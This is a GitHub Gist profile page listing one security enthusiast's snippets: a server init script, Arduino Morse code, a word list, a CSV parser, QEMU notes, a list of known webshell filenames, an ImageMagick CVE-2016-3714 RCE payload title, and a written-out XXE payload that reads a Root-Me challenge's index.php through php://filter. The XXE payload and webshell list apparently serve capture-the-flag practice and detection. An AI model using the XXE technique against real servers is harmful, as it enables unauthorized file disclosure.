Skip to content

Instantly share code, notes, and snippets.

@sbnsec
sbnsec / init.sh
Last active May 12, 2024 10:22
init linux server
#/bin/bash
function info(){
local -r message="${1}"
echo -e "\033[1;36m[+] ${message}\033[0m" 2>&1
}
function check_sudo_and_run() {
# Vérifier si l'utilisateur a des droits sudo
if sudo -n true 2>/dev/null; then
@sbnsec
sbnsec / ImageMagick-6.9.3-9 CVE-2016–3714 RCE Payload
Last active May 12, 2024 16:35 — forked from tutozz/README.md
ImageMagick-6.9.3-9 CVE-2016–3714 RCE Payload
Based on https://github.com/swisskyrepo/PayloadsAllTheThings
This needs to be adapted to exploit a Docker container. Replace the IP with your own.
@sbnsec
sbnsec / TI_notes.md
Last active January 13, 2023 10:12
@sbnsec
sbnsec / morse_led
Last active April 3, 2022 17:56
arduino morse code encoder to led
int led_pin = 1;
String code="-.-.-.--.--.--.-.-.-";
int tl=500;
int pause=tl*2;
void setup(){}
void loop() {
for(int i=0;i<code.length();i++)
{
@sbnsec
sbnsec / verbs
Created November 15, 2020 15:52
Braille
English
Grecize
Judaise
Judaize
Melrose
Xeroxes
abandon
abashes
abasing
@sbnsec
sbnsec / webshell-list.txt
Created May 8, 2020 08:59
List of well known webshell
023.jsp
08小组内部交流专用.asp
12309.php
1427683968524.jpg
1.png
2.png
3fexe Shell.asp
3.png
404 infiltrate team.asp
404 Not Found.php
@sbnsec
sbnsec / README.md
Last active December 18, 2023 08:56
Interesting links
@sbnsec
sbnsec / transform-csv-concatenante-identical-values.py
Created April 8, 2020 15:28
NmaptoCSV parser concatenate the host to get all the port open in one line
# <HOST>,<PORT>,<whatever>
# used as nmaptocsv parser : https://github.com/maaaaz/nmaptocsv/
#
# Takes as input
# toto,value
# toto, value1
# tata, value
# tata value1
#
# gives at output
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
<!ELEMENT title ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://challenge01.root-me.org/web-serveur/ch29/index.php" >
]>
<rss version="1.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>bb</title>
<link>http://127.0.0.1</link>
<description>A</description>
@sbnsec
sbnsec / qemu-debian-powerpc32.md
Last active September 3, 2019 08:58 — forked from nstarke/qemu-debian-powerpc32.md
Create Debian PowerPC32 VM Under QEMU

Create Debian PowerPC32 VM Under QEMU

I have a collection of QEMU VMs for different CPU Architectures. In an attempt to fill in some gaps on architectures I lacked VMs for, I decided to spin up a PowerPC32 VM under QEMU. I chose Debian-PowerPC as the OS.

Gathering Resources

Install the prerequisite PowerPC packages:

# apt-get install qemu-system-ppc openbios-ppc